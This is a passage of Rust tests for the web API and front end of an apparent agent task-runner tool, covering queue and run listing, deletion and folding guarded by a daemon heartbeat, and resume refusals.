15644        let talks = serde_json::to_value(
15645            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15646                .await
15647                .unwrap()
15648                .0,
15649        )
15650        .unwrap();
15651        assert_eq!(talks.as_array().unwrap().len(), 1);
15652        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15653        assert_eq!(
15654            serde_json::to_value(
15655                talks_list(State(ui.clone()), query(Some("")))
15656                    .await
15657                    .unwrap()
15658                    .0
15659            )
15660            .unwrap(),
15661            serde_json::json!([])
15662        );
15663    }
15664
15665    #[tokio::test]
15666    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15667    async fn delta_payload_benchmark() {
15668        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15669        let ui = delta_test_ui(&home);
15670        let query = |ids: Option<String>| {
15671            Query(ListQuery {
15672                limit: Some(50),
15673                ids,
15674            })
15675        };
15676        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15677        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15678        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15679        let queue_id = queue
15680            .iter()
15681            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15682            .unwrap_or(&queue[0])
15683            .task
15684            .id
15685            .clone();
15686        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15687            .await
15688            .unwrap()
15689            .0;
15690        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15691            .await
15692            .unwrap()
15693            .0;
15694        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15695            .await
15696            .unwrap()
15697            .0;
15698        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15699        eprintln!(
15700            "DELTA_PAYLOAD {}",
15701            serde_json::json!({
15702                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15703                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15704                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15705                "counts": [queue.len(), runs.len(), talks.len()],
15706                "blocked": queue_delta.len() - 1,
15707            })
15708        );
15709    }
15710
15711    #[test]
15712    fn runs_revision_moves_when_deleting_an_older_run() {
15713        let temp = TempDir::new().expect("tempdir");
15714        let runs = temp.path().join("runs");
15715        std::fs::create_dir_all(&runs).expect("create runs dir");
15716
15717        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15718
15719        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15720        std::thread::sleep(Duration::from_millis(10));
15721        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15722
15723        let rev_before = runs_revision(&runs);
15724        assert!(rev_before > 0);
15725
15726        let old_dir = runs.join("20260901-100000-old1");
15727        std::fs::remove_dir_all(&old_dir).expect("remove old run");
15728
15729        let rev_after = runs_revision(&runs);
15730        assert_ne!(
15731            rev_before, rev_after,
15732            "deleting an older run must change the revision so other clients see the deletion"
15733        );
15734    }
15735
15736    /// A run's own `run.json` on an explicit `runs` root, bypassing the
15737    /// process-global home entirely — `RunState::save` writes through
15738    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
15739    /// (see `tests::home_lock` in the integration suite for why).
15740    fn write_state(runs: &FsPath, state: &RunState) {
15741        let dir = runs.join(&state.id);
15742        std::fs::create_dir_all(&dir).expect("run dir");
15743        std::fs::write(
15744            dir.join("run.json"),
15745            serde_json::to_string_pretty(state).expect("serialize run"),
15746        )
15747        .expect("write run.json");
15748    }
15749
15750    /// A seat starting or finishing is a write to `run.json` like any other,
15751    /// so it moves the same revision the change stream already watches —
15752    /// nothing new for `/api/events` to learn, but the property this feature
15753    /// depends on to reach the phone without a poll.
15754    #[test]
15755    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15756        let temp = TempDir::new().expect("tempdir");
15757        let runs = temp.path().join("runs");
15758        std::fs::create_dir_all(&runs).expect("create runs dir");
15759        let mut state = RunState::new(
15760            PathBuf::from("/repo/magi"),
15761            "main".to_owned(),
15762            "0123456789abcdef".to_owned(),
15763            "task".to_owned(),
15764            Config::default(),
15765        );
15766        state.id = "20260902-100000-c0de".to_owned();
15767        write_state(&runs, &state);
15768
15769        let rev_idle = runs_revision(&runs);
15770        std::thread::sleep(Duration::from_millis(10));
15771        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15772        write_state(&runs, &state);
15773        let rev_started = runs_revision(&runs);
15774        assert_ne!(
15775            rev_idle, rev_started,
15776            "a seat starting must move the revision"
15777        );
15778
15779        std::thread::sleep(Duration::from_millis(10));
15780        state.seat_finished("judge-1");
15781        write_state(&runs, &state);
15782        let rev_finished = runs_revision(&runs);
15783        assert_ne!(
15784            rev_started, rev_finished,
15785            "and clearing it again must move the revision a second time"
15786        );
15787    }
15788
15789    #[tokio::test]
15790    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15791        // `TaskView` flattens `Task`, so this is really asserting that
15792        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
15793        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
15794        // never touched web.rs, so nothing here caught it if it had.
15795        let fx = Fixture::start().await;
15796        let q = fx.queue();
15797
15798        let mut t = Task::new(
15799            "Task".to_owned(),
15800            "Instruction".to_owned(),
15801            PathBuf::from("/repo"),
15802            Source::Human,
15803        );
15804        t.block(
15805            vec!["20260101-000000-dead".to_owned()],
15806            Some("waiting on Task 1".to_owned()),
15807        );
15808        t.answers.push(crate::queue::AnsweredQuestion {
15809            question: "Which backend?".to_owned(),
15810            answer: "SQLite".to_owned(),
15811        });
15812        q.put(&mut t).expect("put t");
15813
15814        let res = fx.get("/api/queue").await;
15815        assert_eq!(res.status, 200);
15816        let list = res.json();
15817        let view = list
15818            .as_array()
15819            .expect("array")
15820            .iter()
15821            .find(|v| v["id"] == t.id)
15822            .expect("task in list");
15823        assert_eq!(view["status_str"], "blocked");
15824        assert_eq!(
15825            view["blocked_by"],
15826            serde_json::json!(["20260101-000000-dead"])
15827        );
15828        assert_eq!(view["block_reason"], "waiting on Task 1");
15829        assert_eq!(view["answers"][0]["question"], "Which backend?");
15830        assert_eq!(view["answers"][0]["answer"], "SQLite");
15831
15832        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
15833        // but never `answers` - that is a settled decision, not state
15834        // describing the current block, so it survives.
15835        let res = fx
15836            .post(&format!("/api/queue/{}/hold", t.short()), None)
15837            .await;
15838        assert_eq!(res.status, 200);
15839        let held = res.json();
15840        assert_eq!(held["status_str"], "held");
15841        assert_eq!(held["blocked_by"], serde_json::json!([]));
15842        assert!(held["block_reason"].is_null());
15843        assert_eq!(held["answers"][0]["answer"], "SQLite");
15844    }
15845
15846    #[tokio::test]
15847    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15848        let fx = Fixture::start().await;
15849        let q = fx.queue();
15850        let mk = |title: &str| {
15851            Task::new(
15852                title.to_owned(),
15853                "Instruction".to_owned(),
15854                PathBuf::from("/repo"),
15855                Source::Human,
15856            )
15857        };
15858        let mut root = mk("root");
15859        root.hold_manual(Some("waiting".to_owned()));
15860        q.put(&mut root).unwrap();
15861        let mut mid = mk("mid");
15862        mid.block(vec![root.id.clone()], None);
15863        q.put(&mut mid).unwrap();
15864        let mut leaf = mk("leaf");
15865        leaf.block(vec![mid.id.clone()], None);
15866        q.put(&mut leaf).unwrap();
15867
15868        let list = fx.get("/api/queue").await.json();
15869        let find = |id: &str| {
15870            list.as_array()
15871                .unwrap()
15872                .iter()
15873                .find(|v| v["id"] == id)
15874                .unwrap()
15875                .clone()
15876        };
15877        let leaf_view = find(&leaf.id);
15878        assert_eq!(
15879            leaf_view["waits_on"],
15880            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15881        );
15882        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15883        assert_eq!(
15884            find(&mid.id)["waits_on"],
15885            serde_json::json!([format!("{} (held)", root.short())])
15886        );
15887        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15888    }
15889
15890    #[tokio::test]
15891    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15892        let fx = Fixture::start().await;
15893        let q = fx.queue();
15894
15895        // 1. A queued task with runs attached can be deleted.
15896        let mut t1 = Task::new(
15897            "Task 1".to_owned(),
15898            "Instruction 1".to_owned(),
15899            PathBuf::from("/repo"),
15900            Source::Human,
15901        );
15902        let run_id = "20260901-000000-r111";
15903        t1.runs.push(run_id.to_owned());
15904        write_run(&fx.runs(), run_id, RunStatus::Merged);
15905        q.put(&mut t1).expect("put t1");
15906
15907        // Delete by short id
15908        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15909        assert_eq!(res.status, 204);
15910        assert!(res.body.is_empty(), "204 No Content has no body");
15911        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15912        assert!(
15913            fx.runs().join(run_id).exists(),
15914            "run directory must not be deleted when its task is deleted"
15915        );
15916
15917        // 2. A task a live daemon is running is refused with 409.
15918        let mut t2 = Task::new(
15919            "Task 2".to_owned(),
15920            "Instruction 2".to_owned(),
15921            PathBuf::from("/repo"),
15922            Source::Human,
15923        );
15924        t2.status = TaskStatus::Running;
15925        q.put(&mut t2).expect("put t2");
15926        let mut beat = crate::daemon::Status::new();
15927        beat.current = vec![crate::daemon::Current {
15928            task: t2.id.clone(),
15929            run: "20260901-000000-r222".to_owned(),
15930        }];
15931        beat.updated_at = jiff::Timestamp::now();
15932        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15933            .expect("publish a heartbeat");
15934        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
15935        assert_eq!(res.status, 409);
15936        assert!(
15937            res.json()["error"]
15938                .as_str()
15939                .unwrap()
15940                .contains("live daemon")
15941        );
15942        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
15943
15944        // 3. The same `running` status and an orphaned lock, with no daemon
15945        // behind either, is a leftover and deletable. Before this the phone
15946        // refused it for good: the status never changes on its own and
15947        // nothing drops a lock whose process is gone.
15948        // The daemon is killed: the file stays, the heartbeat stops.
15949        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
15950        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15951            .expect("leave a stale heartbeat");
15952        let mut t3 = Task::new(
15953            "Task 3".to_owned(),
15954            "Instruction 3".to_owned(),
15955            PathBuf::from("/repo"),
15956            Source::Human,
15957        );
15958        t3.status = TaskStatus::Running;
15959        q.put(&mut t3).expect("put t3");
15960        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
15961        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
15962        assert_eq!(res.status, 204);
15963        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
15964        assert!(
15965            q.claim(&t3.id).is_ok(),
15966            "the stale lock went with it, so the id is claimable again"
15967        );
15968
15969        // 4. Missing id returns 404
15970        let res = fx.delete("/api/queue/nonexistent").await;
15971        assert_eq!(res.status, 404);
15972    }
15973
15974    #[tokio::test]
15975    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
15976        let fx = Fixture::start().await;
15977        let runs = fx.runs();
15978
15979        // 1. Finished and folded run can be deleted along with artifacts
15980        let run_id = "20260901-000000-fold";
15981        let mut state = RunState::new(
15982            PathBuf::from("/repo"),
15983            "main".to_owned(),
15984            "abc".to_owned(),
15985            "instruction".to_owned(),
15986            Config::default(),
15987        );
15988        state.id = run_id.to_owned();
15989        state.status = RunStatus::Merged;
15990        state.candidates.push(crate::run::Candidate {
15991            index: 0,
15992            label: 'A',
15993            agent: "a".to_owned(),
15994            branch: "b".to_owned(),
15995            worktree: PathBuf::from("/w"),
15996            summary: String::new(),
15997            stat: String::new(),
15998            files: 1,
15999            commits: 1,
16000            empty: false,
16001            failed: None,
16002            verified_noop: None,
16003            duration_ms: 0,
16004            folded: true,
16005        });
16006        let dir = runs.join(run_id);
16007        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16008        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16009            .expect("write artifact");
16010        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16011            .expect("write run.json");
16012
16013        // Delete by short id
16014        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16015        assert_eq!(res.status, 204);
16016        assert!(res.body.is_empty(), "204 has no body");
16017        assert!(!dir.exists(), "run directory and artifacts must be deleted");
16018
16019        // 2. A run a live daemon is working on is refused with 409. The
16020        // heartbeat is what makes it refusable: an unfinished run with no
16021        // daemon behind it is a leftover from a killed process, and case 1
16022        // above would otherwise be impossible to tell apart from this one.
16023        let run_running = "20260901-000000-rung";
16024        write_run(&runs, run_running, RunStatus::Prep);
16025        let mut beat = crate::daemon::Status::new();
16026        beat.current = vec![crate::daemon::Current {
16027            task: "20260901-000000-task".to_owned(),
16028            run: run_running.to_owned(),
16029        }];
16030        beat.updated_at = jiff::Timestamp::now();
16031        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16032            .expect("publish a heartbeat");
16033        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16034        assert_eq!(res.status, 409);
16035        assert!(
16036            res.json()["error"]
16037                .as_str()
16038                .unwrap()
16039                .contains("live daemon"),
16040            "the refusal must say who is holding it"
16041        );
16042        assert!(
16043            runs.join(run_running).exists(),
16044            "a run in flight keeps its directory"
16045        );
16046
16047        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
16048        let run_unfolded = "20260901-000000-unfd";
16049        let mut state2 = RunState::new(
16050            PathBuf::from("/repo"),
16051            "main".to_owned(),
16052            "abc".to_owned(),
16053            "instruction".to_owned(),
16054            Config::default(),
16055        );
16056        state2.id = run_unfolded.to_owned();
16057        state2.status = RunStatus::Ready;
16058        state2.candidates.push(crate::run::Candidate {
16059            index: 0,
16060            label: 'A',
16061            agent: "a".to_owned(),
16062            branch: "b".to_owned(),
16063            worktree: PathBuf::from("/w"),
16064            summary: String::new(),
16065            stat: String::new(),
16066            files: 1,
16067            commits: 1,
16068            empty: false,
16069            failed: None,
16070            verified_noop: None,
16071            duration_ms: 0,
16072            folded: false,
16073        });
16074        let dir2 = runs.join(run_unfolded);
16075        std::fs::create_dir_all(&dir2).expect("create dir2");
16076        std::fs::write(
16077            dir2.join("run.json"),
16078            serde_json::to_string(&state2).unwrap(),
16079        )
16080        .expect("write run.json");
16081
16082        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16083        assert_eq!(res.status, 409);
16084        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16085        assert!(dir2.exists(), "unfolded run directory is kept");
16086
16087        // 4. Missing id returns 404
16088        let res = fx.delete("/api/runs/nonexistent").await;
16089        assert_eq!(res.status, 404);
16090    }
16091
16092    /// The queue tiles on the Stats tab must render even on a home with no
16093    /// runs at all: queue state is not derived from run history, so hiding
16094    /// the whole dashboard body behind "no runs yet" would drop the one
16095    /// thing this tab promises unconditionally (queued/running/held/done).
16096    /// A DOM-level test would need a browser this suite does not have, so
16097    /// this pins the same invariant textually: `renderStatsQueue` is called
16098    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
16099    /// block that gates the run-derived panels.
16100    #[test]
16101    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16102        let start = APP_JS
16103            .find("function renderStats() {")
16104            .expect("renderStats");
16105        let end = start
16106            + APP_JS[start..]
16107                .find("function statsTile(")
16108                .expect("the next top-level function");
16109        let body = &APP_JS[start..end];
16110
16111        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16112        let gate_end = gate_start
16113            + body[gate_start..]
16114                .find("}\n  renderStatsQueue")
16115                .expect("the gate's own closing brace, right before the unconditional call");
16116        let gated = &body[gate_start..gate_end];
16117
16118        assert_eq!(
16119            body.matches("renderStatsQueue(").count(),
16120            1,
16121            "renderStats must call renderStatsQueue exactly once: {body}"
16122        );
16123        assert!(
16124            !gated.contains("renderStatsQueue"),
16125            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16126             run-derived panels on an empty run history - the queue panel has to render \
16127             regardless: {gated}"
16128        );
16129    }
16130
16131    #[test]
16132    fn web_ui_delete_contract_in_front_end() {
16133        // 1. API block has both delete endpoints
16134        assert!(APP_JS.contains("deleteRun:"));
16135        assert!(APP_JS.contains("deleteTask:"));
16136
16137        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
16138        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16139            ..APP_JS.find("function renderRuns").unwrap()];
16140        assert!(!run_cards_slice.to_lowercase().contains("delete"));
16141
16142        // 3. Run detail has delete entry and reasons
16143        assert!(APP_JS.contains("renderRunDelete"));
16144        assert!(APP_JS.contains("runDeleteReason"));
16145        assert!(APP_JS.contains("magi fold"));
16146        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16147
16148        // 4. Two-step delete arming and focus on Cancel
16149        assert!(APP_JS.contains("cancel.focus"));
16150        assert!(APP_JS.contains("armedRunDelete"));
16151        assert!(APP_JS.contains("renderTaskDeleteBox"));
16152        assert!(APP_JS.contains("armed${cap(key)}"));
16153
16154        // 5. Running task has disabled delete
16155        assert!(APP_JS.contains("disabled: status === \"running\""));
16156    }
16157
16158    /// Every element a run card's updater reaches for must be in the `refs`
16159    /// the builder handed it.
16160    ///
16161    /// `createRunCard` builds its elements, appends them to the card, and then
16162    /// lists them again in `row.refs`. That second list is the one the updater
16163    /// uses, and nothing connects the two - an element can be built, appended
16164    /// and rendered, and still be missing from `refs`. `superseded` was, for
16165    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
16166    /// exception took `syncList` with it, and the deck showed
16167    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
16168    /// line is computed before the cards, which is why the failure looked like
16169    /// a server that had lost its runs rather than a front end that had
16170    /// stopped rendering them.
16171    ///
16172    /// A `cargo test` cannot execute the front end, so this reads the two
16173    /// halves out of the source and compares them as sets. It is not a check
16174    /// on the wording of either list: adding an element, renaming one, or
16175    /// reordering them all keeps this passing, and only using one the builder
16176    /// never published fails it.
16177    #[test]
16178    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16179        let build = APP_JS
16180            .find("function createRunCard")
16181            .expect("createRunCard exists");
16182        let update = APP_JS
16183            .find("function updateRunCard")
16184            .expect("updateRunCard exists");
16185        let end = APP_JS
16186            .find("function renderRuns")
16187            .expect("renderRuns exists");
16188
16189        // The builder's published set: the object literal assigned to `refs`.
16190        let builder = &APP_JS[build..update];
16191        let open = builder.find("refs = {").expect("createRunCard sets refs");
16192        let literal = &builder[open + "refs = {".len()..];
16193        let close = literal.find('}').expect("the refs literal is closed");
16194        let published: HashSet<&str> = literal[..close]
16195            .split(',')
16196            // `name` and `name: value` both bind `name`.
16197            .filter_map(|entry| entry.split(':').next())
16198            .map(str::trim)
16199            .filter(|name| !name.is_empty())
16200            .collect();
16201        assert!(
16202            published.len() > 5,
16203            "the refs literal did not parse into names: {published:?}"
16204        );
16205
16206        // What the updaters reach for: every `r.<name>`, where `r` is the
16207        // `const r = row.refs` alias both functions open with.
16208        let mut used: Vec<&str> = Vec::new();
16209        let updaters = &APP_JS[update..end];
16210        for (at, _) in updaters.match_indices("r.") {
16211            // `r` must be the whole identifier, not the tail of another one
16212            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
16213            let before = updaters[..at].chars().next_back();
16214            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16215                continue;
16216            }
16217            let rest = &updaters[at + 2..];
16218            let len = rest
16219                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16220                .unwrap_or(rest.len());
16221            if len > 0 {
16222                used.push(&rest[..len]);
16223            }
16224        }
16225        assert!(
16226            used.len() > 5,
16227            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16228        );
16229
16230        let missing: Vec<&str> = used
16231            .iter()
16232            .copied()
16233            .filter(|name| !published.contains(name))
16234            .collect();
16235        assert!(
16236            missing.is_empty(),
16237            "a run card's updater reaches for {missing:?}, which `createRunCard` \
16238             never put in `refs` - every card will throw and the list will \
16239             render empty under a count line that says otherwise. Published: \
16240             {published:?}"
16241        );
16242    }
16243
16244    #[tokio::test]
16245    async fn folding_from_the_phone_reports_what_it_removed() {
16246        let fx = Fixture::start().await;
16247        let runs = fx.runs();
16248
16249        // A run with no candidates has nothing to fold, which is a 200 with an
16250        // honest count rather than an error: the operator asked for the trees
16251        // to be gone and they are.
16252        let id = "20260901-000000-fold";
16253        write_run(&runs, id, RunStatus::Stalled);
16254        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16255        assert_eq!(res.status, 200);
16256        assert_eq!(res.json()["removed_count"], 0);
16257        assert_eq!(res.json()["run"], id);
16258        assert!(
16259            runs.join(id).exists(),
16260            "a fold keeps the run's record; only the worktrees go"
16261        );
16262    }
16263
16264    #[tokio::test]
16265    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16266        let fx = Fixture::start().await;
16267        let runs = fx.runs();
16268        let wt = fx.home.path().join("wt").join("magi").join("dead");
16269        let id = "20260901-000000-dead";
16270        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16271        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16272        std::fs::create_dir_all(&wt).expect("worktree dir");
16273
16274        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16275        assert_eq!(res.status, 200, "{}", res.body);
16276        assert!(
16277            res.json()["removed_count"].as_u64().unwrap() > 0,
16278            "the worktree this build could not read a state for still went"
16279        );
16280        assert!(
16281            !runs.join(id).exists(),
16282            "an unreadable run has no candidate list to fold selectively, so \
16283             the whole record goes - same as `magi fold` on the CLI"
16284        );
16285    }
16286
16287    #[tokio::test]
16288    async fn deleting_an_unreadable_run_removes_it_wholesale() {
16289        let fx = Fixture::start().await;
16290        let runs = fx.runs();
16291        let wt = fx.home.path().join("wt").join("magi").join("gone");
16292        let id = "20260901-000000-gone";
16293        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16294        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16295        std::fs::create_dir_all(&wt).expect("worktree dir");
16296
16297        let res = fx.delete(&format!("/api/runs/{id}")).await;
16298        assert_eq!(res.status, 204, "{}", res.body);
16299        assert!(!runs.join(id).exists(), "the broken record is gone");
16300        assert!(!wt.exists(), "its worktree is gone too");
16301    }
16302
16303    #[tokio::test]
16304    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16305        let fx = Fixture::start().await;
16306        let runs = fx.runs();
16307        let id = "20260901-000000-live";
16308        write_run(&runs, id, RunStatus::Implementing);
16309
16310        let mut beat = crate::daemon::Status::new();
16311        beat.current = vec![crate::daemon::Current {
16312            task: "20260901-000000-task".to_owned(),
16313            run: id.to_owned(),
16314        }];
16315        beat.updated_at = jiff::Timestamp::now();
16316        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16317            .expect("publish a heartbeat");
16318
16319        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16320        assert_eq!(res.status, 409);
16321        assert!(
16322            res.json()["error"]
16323                .as_str()
16324                .unwrap()
16325                .contains("live daemon"),
16326            "folding under a running agent would pull its worktree away"
16327        );
16328    }
16329
16330    #[tokio::test]
16331    async fn fold_merged_requires_a_pr_url() {
16332        let fx = Fixture::start().await;
16333        let runs = fx.runs();
16334        let id = "20260901-000000-nourl";
16335        write_run(&runs, id, RunStatus::Blocked);
16336
16337        let res = fx
16338            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16339            .await;
16340        assert_eq!(res.status, 400, "{}", res.body);
16341
16342        let blank = fx
16343            .post(
16344                &format!("/api/runs/{id}/fold-merged"),
16345                Some(r#"{"pr_url":"   "}"#),
16346            )
16347            .await;
16348        assert_eq!(blank.status, 400, "{}", blank.body);
16349    }
16350
16351    #[tokio::test]
16352    async fn fold_merged_is_404_for_an_unknown_run() {
16353        let fx = Fixture::start().await;
16354        let res = fx
16355            .post(
16356                "/api/runs/nosuchrun/fold-merged",
16357                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16358            )
16359            .await;
16360        assert_eq!(res.status, 404, "{}", res.body);
16361    }
16362
16363    #[tokio::test]
16364    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16365        let fx = Fixture::start().await;
16366        let runs = fx.runs();
16367        let id = "20260901-000000-livemerge";
16368        write_run(&runs, id, RunStatus::Blocked);
16369
16370        let mut beat = crate::daemon::Status::new();
16371        beat.current = vec![crate::daemon::Current {
16372            task: "20260901-000000-task".to_owned(),
16373            run: id.to_owned(),
16374        }];
16375        beat.updated_at = jiff::Timestamp::now();
16376        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16377            .expect("publish a heartbeat");
16378
16379        let res = fx
16380            .post(
16381                &format!("/api/runs/{id}/fold-merged"),
16382                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16383            )
16384            .await;
16385        assert_eq!(res.status, 409, "{}", res.body);
16386        assert!(
16387            res.json()["error"]
16388                .as_str()
16389                .unwrap()
16390                .contains("live daemon"),
16391            "correcting a run's merge underneath a running agent would race \
16392             whatever it is doing to the same `status`/`merge` fields"
16393        );
16394    }
16395
16396    /// A pull request `gh` cannot even ask about (no such remote, no such
16397    /// repository) must never be recorded as a merge on a guess - the same
16398    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
16399    /// command line, reached here through the phone route instead.
16400    #[tokio::test]
16401    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16402        let fx = Fixture::start().await;
16403        let runs = fx.runs();
16404        let id = "20260901-000000-unconfirmed";
16405        write_run(&runs, id, RunStatus::Blocked);
16406
16407        let res = fx
16408            .post(
16409                &format!("/api/runs/{id}/fold-merged"),
16410                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16411            )
16412            .await;
16413        assert_eq!(res.status, 400, "{}", res.body);
16414        assert_eq!(
16415            read_run(&runs, id).unwrap().status,
16416            RunStatus::Blocked,
16417            "a pull request that could not be confirmed merged must leave \
16418             the run exactly where it was"
16419        );
16420    }
16421
16422    #[tokio::test]
16423    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16424        let fx = Fixture::start().await;
16425        let runs = fx.runs();
16426
16427        // Only a finished run and a failed one. An *interrupted* run - a
16428        // parked one, or one whose daemon was killed mid-node - is the case
16429        // resuming exists for: run 4043 sat at `reviewing` with the deck
16430        // saying it could not be resumed, which was the one state where
16431        // resuming was the only sensible answer.
16432        for (status, word) in [
16433            (RunStatus::Merged, "merged"),
16434            (RunStatus::Ready, "ready"),
16435            (RunStatus::Failed, "failed"),
16436        ] {
16437            let id = format!("20260901-000000-{}", &word[..4]);
16438            write_run(&runs, &id, status);
16439            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16440            assert_eq!(res.status, 409, "{word} must not be resumable");
16441            let err = res.json()["error"].as_str().unwrap().to_owned();
16442            assert!(err.contains(word), "the refusal names the status: {err}");
16443        }
16444
16445        // And an interrupted run is accepted: 202, with the resume running in
16446        // the background. `Runner::resume` fails immediately here - the
16447        // fixture's run points at a repository that does not exist - which is
16448        // the point: the handler must not wait for it to find out.
16449        let mid = "20260901-000000-midf";
16450        write_run(&runs, mid, RunStatus::Reviewing);
16451        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16452        assert_eq!(res.status, 202, "an interrupted run is resumable");
16453    }
16454
16455    #[tokio::test]
16456    async fn resume_is_refused_while_the_loop_is_running() {
16457        let fx = Fixture::start().await;
16458        let runs = fx.runs();
16459        let stalled = "20260901-000000-stal";
16460        write_run(&runs, stalled, RunStatus::Stalled);
16461
16462        // The loop is busy with a *different* run, and that is still a
16463        // refusal: a manual resume must never race whatever the loop itself
16464        // is already driving, whether that is one run or several.
16465        let mut beat = crate::daemon::Status::new();
16466        beat.current = vec![crate::daemon::Current {
16467            task: "20260901-000000-task".to_owned(),
16468            run: "20260901-000000-othr".to_owned(),
16469        }];
16470        beat.updated_at = jiff::Timestamp::now();
16471        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16472            .expect("publish a heartbeat");
16473
16474        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16475        assert_eq!(res.status, 409);
16476        let err = res.json()["error"].as_str().unwrap().to_owned();
16477        assert!(err.contains("othr"), "it names what the loop is on: {err}");
16478        assert!(err.contains("stop it first"), "{err}");
16479    }
16480
16481    #[test]
16482    fn a_run_cannot_be_resumed_twice_at_once() {
16483        let home = TempDir::new().expect("temp home");
16484        let ui = Ui::new(
16485            Queue::at(home.path().join("queue")),
16486            Questions::at(home.path().join("questions")),
16487            Talks::at(home.path().join("talks")),
16488            home.path().join("runs"),
16489            home.path().to_path_buf(),
16490            PathBuf::from("/repo"),
16491        )
16492        .with_worktrees_root(home.path().join("wt"));
16493        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16494        let again = ui.begin_resume("20260901-000000-once");
16495        assert!(again.is_err(), "a second tap must not start a second graph");
16496        drop(first);
16497        assert!(
16498            ui.begin_resume("20260901-000000-once").is_ok(),
16499            "and the claim is released when the attempt ends"
16500        );
16501    }
16502
16503    #[test]
16504    fn talk_thinking_tracks_only_its_held_turn_claim() {
16505        let home = TempDir::new().expect("temp home");
